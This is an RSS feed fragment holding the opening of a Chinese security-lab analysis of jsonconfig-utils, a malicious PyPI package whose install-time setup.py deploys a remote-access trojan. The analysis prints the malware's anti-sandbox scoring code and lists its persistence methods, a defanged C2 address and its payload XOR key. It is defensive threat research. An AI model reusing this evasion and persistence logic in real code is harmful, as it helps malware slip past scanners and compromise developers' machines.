src="https://wechat2rss.xlab.app/img-proxy/?k=a4cc9afb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdsBgX2hKDSK5v7yib983MQBcIQNqJQBgNpMntcLgbHqXkRjhPenXeVwZXzDqhwDPhSWwYxVhvfqibSRvbqr6LPAZlgCInXELRS70%2F640%3Fwx_fmt%3Djpeg"/></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">参考文献</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">[1] Supply Chain Attack in litellm 1.82.8 on PyPI. <a href="https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/" target="_blank">https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/</a></span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">[2] How a Poisoned Security Scanner Became the Key to Backdooring LiteLLM. <a href="http://snyk.io/articles/poisoned-security-scanner-backdooring-litellm/" target="_blank">http://snyk.io/articles/poisoned-security-scanner-backdooring-litellm/</a></span></p><div data-tools-id="43686" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;text-align: start;white-space: normal;overflow: hidden;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;word-break: break-all !important;visibility: visible;" data-pm-slice="0 0 []"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;flex-direction: column;word-break: break-all !important;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border: 1px solid rgb(85, 111, 181);word-break: break-all !important;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 23px 16px 21px 20px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(238, 238, 238);word-break: break-all !important;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;word-break: break-all !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;font-family: 仿宋, FangSong;word-break: break-all !important;"><span leaf="">   <span textstyle="" style="font-size: 16px;color: rgb(94, 84, 84);">星图实验室隶属于奇安信技术研究院，专注于软件与系统安全的核心技术研究与系统平台研发，对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。</span></span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;word-break: break-all !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;font-family: 仿宋, FangSong;word-break: break-all !important;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(94, 84, 84);">    我们目前正在招聘，工作地点覆盖北京、南京、成都等城市，详情请参见：<a href="https://research.qianxin.com/recruitment/" target="_blank">https://research.qianxin.com/recruitment/</a></span></span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7e6fb145&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489103%26idx%3D1%26sn%3D39ae7bae786321759df68d3e5ea15876">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 25 Mar 2026 20:37:00 +0800</pubDate>
    </item>
    <item>
      <title>【天问】PyPI 恶意包分析：jsonconfig-utils 内置 RAT 后门及多平台持久化</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489077&amp;idx=1&amp;sn=10b43bea80dfb77b171d5da8b83fa3ca</link>
      <description>天问Python供应链威胁监测模块发现 PyPI 中存在恶意包 jsonconfig-utils，该包以 JSON 配置工具为掩护，在 setup.py 中内嵌了完整攻击链。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-03-03 18:06</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=25771a43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdvfQx76iaTNCzxoHcQ20IqWMjasVYOrhVYUC49MJKnFb3oyBCjej2yMT4YINPoTnAe8U14R40iakJKxZ9ddZOKWwPiaRuT4jmbmKY%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">天问Python供应链威胁监测模块发现 PyPI 中存在恶意包 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">jsonconfig-utils</span></code><span leaf="">，该包以 JSON 配置工具为掩护，在 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf=""> 中内嵌了完整攻击链。攻击者在安装阶段即可完成反沙箱检测、解密并落地 RAT（远程访问木马）载荷、以及跨平台持久化驻留，最终与 C2 服务器建立加密通信，实现对受害主机的远程控制。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“天问”软件供应链安全分析平台是奇安信技术研究星图实验室研发的针对 Python、npm 等主流开发生态进行长期持续监测的安全分析平</span><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">台。</span></span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">1. 包基本信息</span></h1><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.33359375" data-s="300,640" data-type="png" data-w="1280" style="width:578px;height:193px;" type="block" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/QSjGzxHEMduxcKWavTJhqUVIC5UkuTnoNo31jTQbkYVyicOrQtnB5D8clGCoYjMgp1apTnt05MuvSRdTBYRcxIcibkXpBRc1Ots481icHvVdsI/0?wx_fmt=png&amp;from=appmsg" data-cropx2="1562" data-cropy1="72.96539792387543" data-cropy2="594.5328719723183" data-imgfileid="100005405" src="https://wechat2rss.xlab.app/img-proxy/?k=70f1a880&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdsshucv4toVFgKxB3OpFd8wwI938uLw1AelOPkibCuAZJuiaz58cmRGsKESTvxicf2b0wjpoicz877hVsEml0SZDHqV7zjuwic1Il7Y%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">该包声称是”轻量级JSON配置加载器”，其主模块 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">jsonconfig_utils.py</span></code><span leaf=""> 中确实实现了 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">load_config</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">ConfigDict</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">validate_schema</span></code><span leaf=""> 等功能性代码，以增强迷惑性。</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">所有恶意逻辑均集中于 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf=""> 中</span></strong><span leaf="">，在 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pip install</span></code><span leaf=""> 执行 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf=""> 时自动触发。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">2. 恶意行为概览</span></h1><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">setup.py</span></code><br/><code><span leaf="">├── _check()      — 反沙箱/反分析环境检测，计算置信分</span></code><br/><code><span leaf="">└── _install()    — 主攻击函数（置信分 ≥ 6 时触发）</span></code><br/><code><span leaf="">├── 解码混淆载荷（Base64 + XOR，密钥 0x5A）</span></code><br/><code><span leaf="">├── Windows  — 落地 .pyw、计划任务、注册表 Run 键</span></code><br/><code><span leaf="">├── macOS    — 落地 .py、LaunchAgent、.zshrc 注入、crontab</span></code><br/><code><span leaf="">└── Linux    — 落地 .py、systemd 服务、crontab、SSH 公钥注入（root）</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">解码后的载荷是一个完整的 RAT Agent，连接 C2 服务器 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">77[.]246.103.245:443</span></code><span leaf="">（SSL 加密），上报系统信息并等待远程指令。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">3. 反沙箱检测（</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_check</span></code><span leaf=""> 函数）</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击者在 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_install</span></code><span leaf=""> 执行前通过 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_check()</span></code><span leaf=""> 对当前环境进行全面评估，计算一个”置信分”（</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_s</span></code><span leaf="">），仅当分数 ≥ 6 时才执行后续攻击。这一机制有效规避了自动化沙箱、CI/CD 扫描器和容器环境的分析。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3.1 容器与 CI 检测</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__comment"># ── Container detection ──</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> _sys == <span class="code-snippet__string">&#34;Linux&#34;</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> _p <span class="code-snippet__keyword">in</span> [<span class="code-snippet__string">&#34;/.dockerenv&#34;</span>, <span class="code-snippet__string">&#34;/run/.containerenv&#34;</span>]:</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> os.path.exists(_p): _s -= <span class="code-snippet__number">5</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">try</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">with</span> <span class="code-snippet__built_in">open</span>(<span class="code-snippet__string">&#34;/proc/1/cgroup&#34;</span>) <span class="code-snippet__keyword">as</span> _f:</span></code><br/><code><span leaf="">_cg = _f.read()</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> <span class="code-snippet__built_in">any</span>(_k <span class="code-snippet__keyword">in</span> _cg <span class="code-snippet__keyword">for</span> _k <span class="code-snippet__keyword">in</span> [<span class="code-snippet__string">&#34;docker&#34;</span>, <span class="code-snippet__string">&#34;lxc&#34;</span>, <span class="code-snippet__string">&#34;kubepods&#34;</span>]): _s -= <span class="code-snippet__number">5</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">except</span>: <span class="code-snippet__keyword">pass</span></span></code><br/><code><span leaf="">_hn = platform.node().lower()</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> _b <span class="code-snippet__keyword">in</span> [<span class="code-snippet__string">&#34;sandbox&#34;</span>, <span class="code-snippet__string">&#34;scan&#34;</span>, <span class="code-snippet__string">&#34;test&#34;</span>, <span class="code-snippet__string">&#34;build&#34;</span>, <span class="code-snippet__string">&#34;runner&#34;</span>, <span class="code-snippet__string">&#34;ci-&#34;</span>, <span class="code-snippet__string">&#34;worker&#34;</span>, <span class="code-snippet__string">&#34;job-&#34;</span>, <span class="code-snippet__string">&#34;temp&#34;</span>]:</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> _b <span class="code-snippet__keyword">in</span> _hn: _s -= <span class="code-snippet__number">3</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> os.environ.get(<span class="code-snippet__string">&#34;CI&#34;</span>) <span class="code-snippet__keyword">or</span> os.environ.get(<span class="code-snippet__string">&#34;GITHUB_ACTIONS&#34;</span>) <span class="code-snippet__keyword">or</span> os.environ.get(<span class="code-snippet__string">&#34;JENKINS_URL&#34;</span>):</span></code><br/><code><span leaf="">_s -= <span class="code-snippet__number">5</span></span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">每检测到容器特征或 CI 环境变量，置信分减 3～5 分，直接将沙箱环境的分数压至触发阈值以下。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3.2 硬件与系统活跃度检测</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__comment"># ── Hardware ──</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> os.cpu_count() and os.cpu_count() &gt; <span class="code-snippet__number">2</span>: _s += <span class="code-snippet__number">2</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 系统运行时长检测（Linux/macOS/Windows 三路分支）</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> _up &gt; <span class="code-snippet__number">3600</span>: _s += <span class="code-snippet__number">1</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> _up &lt; <span class="code-snippet__number">300</span>: _s -= <span class="code-snippet__number">3</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># ── User activity ──</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 浏览器目录存在性检测（Chrome/Firefox/Safari/Edge）</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> any(os.path.isdir(_b) for _b in _bps): _s += <span class="code-snippet__number">2</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Shell 历史记录大小检测</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> os.path.exists(_hf) and os.path.getsize(_hf) &gt; <span class="code-snippet__number">2000</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">_s</span> += <span class="code-snippet__number">2</span>; break</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">elif</span> os.path.exists(_hf) and os.path.getsize(_hf) &gt; <span class="code-snippet__number">500</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">_s</span> += <span class="code-snippet__number">1</span>; break</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Desktop/Downloads 文件数量检测</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> _cnt &gt; <span class="code-snippet__number">10</span>: _s += <span class="code-snippet__number">2</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">elif</span> _cnt &gt; <span class="code-snippet__number">3</span>: _s += <span class="code-snippet__number">1</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># .gitconfig 和 SSH known_hosts 检测</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> os.path.exists(os.path.join(_home, <span class="code-snippet__string">&#34;.gitconfig&#34;</span>)): _s += <span class="code-snippet__number">1</span></span></code><br/></pre></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">3.3 云元数据服务检测</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__comment"># ── Cloud metadata ──</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">try</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> urllib.request</span></code><br/><code><span leaf="">urllib.request.urlopen(<span class="code-snippet__string">&#34;http[:]//169.254.169.254/latest/meta-data/&#34;</span>, timeout=<span class="code-snippet__number">1</span>)</span></code><br/><code><span leaf="">_s -= <span class="code-snippet__number">3</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">except</span>: <span class="code-snippet__keyword">pass</span></span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">尝试访问 AWS 实例元数据服务地址（</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">169[.]254.169.254</span></code><span leaf="">），若可达则判断当前环境为云主机/虚拟机，置信分减 3。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">4. 混淆载荷解密</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_install</span></code><span leaf=""> 函数中内嵌了一段经 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">Base64 编码 + XOR 加密</span></strong><span leaf="">（密钥 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">0x5A</span></code><span leaf="">）的载荷字符串 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_E</span></code><span leaf="">，通过如下方式解密：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index 